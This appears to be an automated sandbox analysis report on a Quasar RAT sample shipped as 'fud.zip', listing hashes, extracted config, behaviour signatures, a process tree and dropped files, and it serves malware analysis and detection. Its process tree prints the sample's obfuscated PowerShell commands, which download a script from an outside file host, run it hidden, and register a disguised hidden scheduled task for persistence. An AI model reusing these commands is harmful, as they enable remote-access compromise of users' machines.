Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/04/2025, 15:33

General

  • Target

    fud.zip

  • Size

    15.3MB

  • MD5

    16a3d7fe2daaec168522818e8e4352eb

  • SHA1

    cc421ffb059ddde7b99112edf3a98121458726e5

  • SHA256

    bfa990bda3eebc658bcd0014dbfc9d57277e585548031f7ce4ecfcc8223f7b6b

  • SHA512

    5e1f80ea42b5b72a3fc27c3aa1c882d305d68e4d150c7cf21522e25acaaf376b496f57667a6f2ac67031c1708e96414e314e66b88599eaa9f77a1d4b41d7c957

  • SSDEEP

    393216:nSfvN08cA9br0VcaSLRxFijecz53Z5tPjNhRm3ygnrHoiFz:nYN08v9br0VFK6Z5X7mLHoiFz

Malware Config

Extracted

Family

quasar

C2

��:a>՘�后��s��6�F�l濺�,@ 3&�

Attributes
  • encryption_key

    0A2600918F5E13281DD3F3E3CF35CA2FEACB6884

  • reconnect_delay

    3000

  • startup_key

    �� D���s�+���\� r8t$�

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\fud.zip
    1⤵
      PID:3724
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:5516
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\fud\" -spe -an -ai#7zMap16346:64:7zEvent15872
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:5796
      • C:\Users\Admin\Desktop\fud\Installer.exe
        "C:\Users\Admin\Desktop\fud\Installer.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:6100
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c winAPI.dll
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4444
          • C:\Users\Admin\Desktop\fud\winAPI.dll
            winAPI.dll
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5904
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat""
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5404
              • C:\Windows\system32\cmd.exe
                cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2868
                • C:\Windows\system32\attrib.exe
                  attrib +h "C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache"
                  6⤵
                  • Views/modifies file attributes
                  PID:4628
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoPr"o"file -Execu"t"ionPolic"y" Byp"a"ss -Windo"w"Style Hid"d"en -Com"m"and "$action = New-ScheduledT"a"skAction -Execute 'powershell.exe' -Argument '-NoProfile -Exe"c"utionPo"l"icy B"y"pass -Wind"o"wStyle Hidden -File \"C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1\"'; $trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME; $settings = New-ScheduledTaskSettingsSet -Hidden -DontStopIfGoingOnBatteries; $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive; Register-ScheduledTask -TaskName 'Micro"s"oftEdge"U"pdat"e"Task' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4772
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoPr"o"file -Exe"c"utionPol"i"cy By"p"ass -Win"d"owStyle H"i"dd"e"n -Co"m"mand "Invo"k"e-W"e"bRequ"e"st 'ht"t"ps://"f"iles."c"atbo"x".moe/92nbzf.txt' -OutFile 'C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1' -Use"B"asicParsing"
                  6⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  PID:368
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -N"o"Profi"l"e -Execu"t"ionPol"i"cy Bypa"s"s -WindowSt"y"le Hi"d"den -Fi"l"e "C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1"
                  6⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:6084
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fwp02hc1\fwp02hc1.cmdline"
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5720
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9783.tmp" "c:\Users\Admin\AppData\Local\Temp\fwp02hc1\CSC5EB9996A6381443090C6508DEBB8E4CD.TMP"
                      8⤵
                        PID:3536

        Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          661739d384d9dfd807a089721202900b

          SHA1

          5b2c5d6a7122b4ce849dc98e79a7713038feac55

          SHA256

          70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

          SHA512

          81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          18400984025fba1ced95d051c7c912fb

          SHA1

          c8f6ddaab9d251bf71a96f6b8b5245a03d8567e4

          SHA256

          01d3ee84c20dc8cb9ae8f64396b5eae9328b99aa53b423b707df97281c38377f

          SHA512

          7b5dc6fcbed65af26e203f5b350fcc03b942e3b6e69cb3f14c7b29b1c6c3bef6fcf4887233d0ab72edcc9207b4ca854f52dbb332539baa5b3d18d405194ace4e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7a9362df1244fada1c58e24dda3ff05d

          SHA1

          aedefa83f0f4abc9fe2ce9299b83ef6aa61478ae

          SHA256

          5e13d857e7da304d09b050c12c14cb23554216adc71a1d12dd6cae8080481796

          SHA512

          f0370f978d9717c6384b0ea339b822b52fabbdbf4c30191ac9dff8f833e2729cedde08d21cc237203d406865a468db15f1de9b039b2f48882993f0aeffce7ea8

        • C:\Users\Admin\AppData\Local\Temp\1.bat

          Filesize

          1KB

          MD5

          56ed4e1fbde1df51fb37b6677265ec3d

          SHA1

          6dc4cf3ebe6c0043c6fca9b5c9c46a3f5a492d17

          SHA256

          d65e44cd5593e4f8d380c23516e94db3b18e9a5c42ef40697beb2a611aaa9204

          SHA512

          c9c037b3713d2774301a4d68beee7c528fd2ade5aac95f06c82b1ef9f23ba47ec316cfc0d711fd773c8c81fd33366537395daee361325c5465cf02eb6dae41c6

        • C:\Users\Admin\AppData\Local\Temp\RES9783.tmp

          Filesize

          1KB

          MD5

          2880f59b5dacd91e32f06044c7e96152

          SHA1

          91939bec0fdd88b0f9b249654899dc198d74d14c

          SHA256

          426d34b9ce8a82b3a41de8b1ab21024c870118e56f43c5a0b9ba42592a5b1bb9

          SHA512

          65342ac30c394fb9c0efb5cce9acde8bf2223219cb318333700f3f8a01937ee1325b58ccb6e46780a5a95d7f707cf2387d220b87efc25a9ca41800b3597ef656

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfjfocio.d4g.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\fwp02hc1\fwp02hc1.dll

          Filesize

          3KB

          MD5

          560cad21c334d07756d2cb26d7e3b84f

          SHA1

          82ca0529317df9705b362e1c3a9fe2ee5958ba2d

          SHA256

          e8e0128c09c52577d3db0c92f2b0f2acfeb9310b57854ce9728fa7dea2651d89

          SHA512

          34e35473137f79b7074786b81489c19e4e825ba09d1fc5ced333dad27c35aa5667f717587a80066735f24ec551c76572addefbb6a3a20bee29acf3d13613ce92

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\UDCache\task.ps1

          Filesize

          7.0MB

          MD5

          f46cd513598c2b1ffb63fe501301dd64

          SHA1

          d1d71cfdc9ea551470478b2452d0e451b8d055e8

          SHA256

          e8d38cba909fb2374dc0a406fcc0c4360ffb12ba5d588856690e7e06657e6df5

          SHA512

          bbd43f0f9b7eddc0857ac14339859e0e6b756de8749e54795d86bcdb580d6bf369a5a4050231bf1bdb361ff817907175180f04f352df2e35fce63fbeb4f91974

        • C:\Users\Admin\Desktop\fud\Installer.exe

          Filesize

          53KB

          MD5

          f323bb458ecbd21acdddd5ea770e775f

          SHA1

          9b04a6ea2e6efcc81d344f6425928c5700e9a3f6

          SHA256

          4030427f5e93a3cbb5072fe12afb02a4cb6447a4d0061b4dc9f71fdb783ab926

          SHA512

          ca08182341611a89da1f4c90efbd065691a551e68d534ed509bf3ffca8d821362be14b175cfb8378fc2199432938c1d3e63524d9424802a37c0435467a5dabe2

        • C:\Users\Admin\Desktop\fud\msys-2.0.dll

          Filesize

          88KB

          MD5

          f947218a2b6bc294c22175030824c12b

          SHA1

          ba97c647a21d78f4d70135231574a9162998a3bf

          SHA256

          940d104b54c78abc2ab4af8d88c0da0083dda6ddf63e92976d96fadcf46d35c4

          SHA512

          46cb9b32a5bc07fb55fded5e42bbc8362ba0106d19c4441a639a821cd612867f676017d525d167384c9595b506db2d7a6f2ac8fa2d2c7fe102ede7b6132cd6e5

        • C:\Users\Admin\Desktop\fud\tmpD01A.dll

          Filesize

          3.5MB

          MD5

          1a201cec87e2370a08dc00acc065501a

          SHA1

          02ff14bbb59d380cc8e7ffea711d978248bfcb83

          SHA256

          709f39277a3393fbdb4349bb19b80e2d976dd8926d6fcbe0e59d699338846016

          SHA512

          e80e75a672807dfa1da6002bb02e8024eaadb75f79f22c40c72c82c213d99b3f4dcdeb963a7587c0a5532fa8b6c53e9ac6eb512fc422d654191215e266eef1e1

        • C:\Users\Admin\Desktop\fud\winAPI.dll

          Filesize

          36.0MB

          MD5

          fb466528aac78a063f4c60882a33ddc9

          SHA1

          2af35fa26c27e402e66b7c46d136a4a578f975af

          SHA256

          6f157135b2b74872f88863cc5bd1edbe8fbe3532dfb9e1b961afca9bb5c77fd3

          SHA512

          0539f5681271f70262288fcc0b7bd89d63c6c8b8f32f96bd43878df531f9997cde314357f541ca49f58363c484cca80a107b450fd37e3e35e75fd90edac71e77

        • \??\c:\Users\Admin\AppData\Local\Temp\fwp02hc1\CSC5EB9996A6381443090C6508DEBB8E4CD.TMP

          Filesize

          652B

          MD5

          2ef671885a70d0f35204f9b2743a00cd

          SHA1

          59f115d0a48f3ee45f3ae4b307df402b6ea85315

          SHA256

          608446d296d03c735f400309f2bc8c0228d546ecf881f4c0bb90563d1a3c72ef

          SHA512

          267fe9549fcfd23b6a9d16e105b507d5b94d5eace19335b0b748f73152c61ca12a07863c2b33de7a322ddb177815f3160c7175225ba43f25e360a1bb06fa9765

        • \??\c:\Users\Admin\AppData\Local\Temp\fwp02hc1\fwp02hc1.0.cs

          Filesize

          938B

          MD5

          5b328f64341f326554c2d3c08ace5f93

          SHA1

          25a9aad6022782e5200d410aa9ff8e707ee2eb1a

          SHA256

          6e7a0c2174ae7882e6bd3f4afdf0438b982649021048df980b08c5ac948a01b9

          SHA512

          d4116697a54bc21a8d77aaa8eeafa95d60b6873073f2294d027829a83dc82bf39d63f08464b7622dcfd4ec3a1991b6225f72399321a5f93582d84387088badd0

        • \??\c:\Users\Admin\AppData\Local\Temp\fwp02hc1\fwp02hc1.cmdline

          Filesize

          369B

          MD5

          a9820a1854ac0183399485ff3834e176

          SHA1

          98d65f20d0c5b868ead4e8e4615dec32ed293be6

          SHA256

          6ffd2de6964d7b1bfc3b8e560e69df4dd852ac06c987a0ce58434b2dc484d5d8

          SHA512

          daebecb74ba9dc5debbef538146ee4f373ae079ef65b43f740076be99eb3ae2890e5729cb636dd395f1ec94200b12e79b2b0c50d6804e4c20f7b1d26fb4bd552

        • memory/4772-23-0x000001C010040000-0x000001C010062000-memory.dmp

          Filesize

          136KB

        • memory/6084-87-0x00000217D1040000-0x00000217D1052000-memory.dmp

          Filesize

          72KB

        • memory/6084-88-0x00000217D1050000-0x00000217D108A000-memory.dmp

          Filesize

          232KB

        • memory/6084-98-0x00000217D1B50000-0x00000217D1B8C000-memory.dmp

          Filesize

          240KB

        • memory/6084-81-0x0000021797DF0000-0x0000021797DF8000-memory.dmp

          Filesize

          32KB

        • memory/6084-97-0x00000217D1AF0000-0x00000217D1B02000-memory.dmp

          Filesize

          72KB

        • memory/6084-83-0x00000217D0AE0000-0x00000217D0C4A000-memory.dmp

          Filesize

          1.4MB

        • memory/6084-85-0x00000217D10E0000-0x00000217D126E000-memory.dmp

          Filesize

          1.6MB

        • memory/6084-86-0x0000021798440000-0x000002179845A000-memory.dmp

          Filesize

          104KB

        • memory/6084-93-0x00000217D1880000-0x00000217D18CA000-memory.dmp

          Filesize

          296KB

        • memory/6084-94-0x00000217D1090000-0x00000217D10BA000-memory.dmp

          Filesize

          168KB

        • memory/6084-89-0x00000217D17E0000-0x00000217D1830000-memory.dmp

          Filesize

          320KB

        • memory/6084-90-0x00000217D18F0000-0x00000217D19A2000-memory.dmp

          Filesize

          712KB

        • memory/6084-91-0x00000217D1790000-0x00000217D17DE000-memory.dmp

          Filesize

          312KB

        • memory/6084-92-0x00000217D1830000-0x00000217D187C000-memory.dmp

          Filesize

          304KB

        • memory/6100-46-0x0000000100400000-0x000000010040D000-memory.dmp

          Filesize

          52KB

        • memory/6100-66-0x0000000210040000-0x0000000210346000-memory.dmp

          Filesize

          3.0MB

        • memory/6100-16-0x0000000210040000-0x0000000210346000-memory.dmp

          Filesize

          3.0MB

        • memory/6100-47-0x0000000210040000-0x0000000210346000-memory.dmp

          Filesize

          3.0MB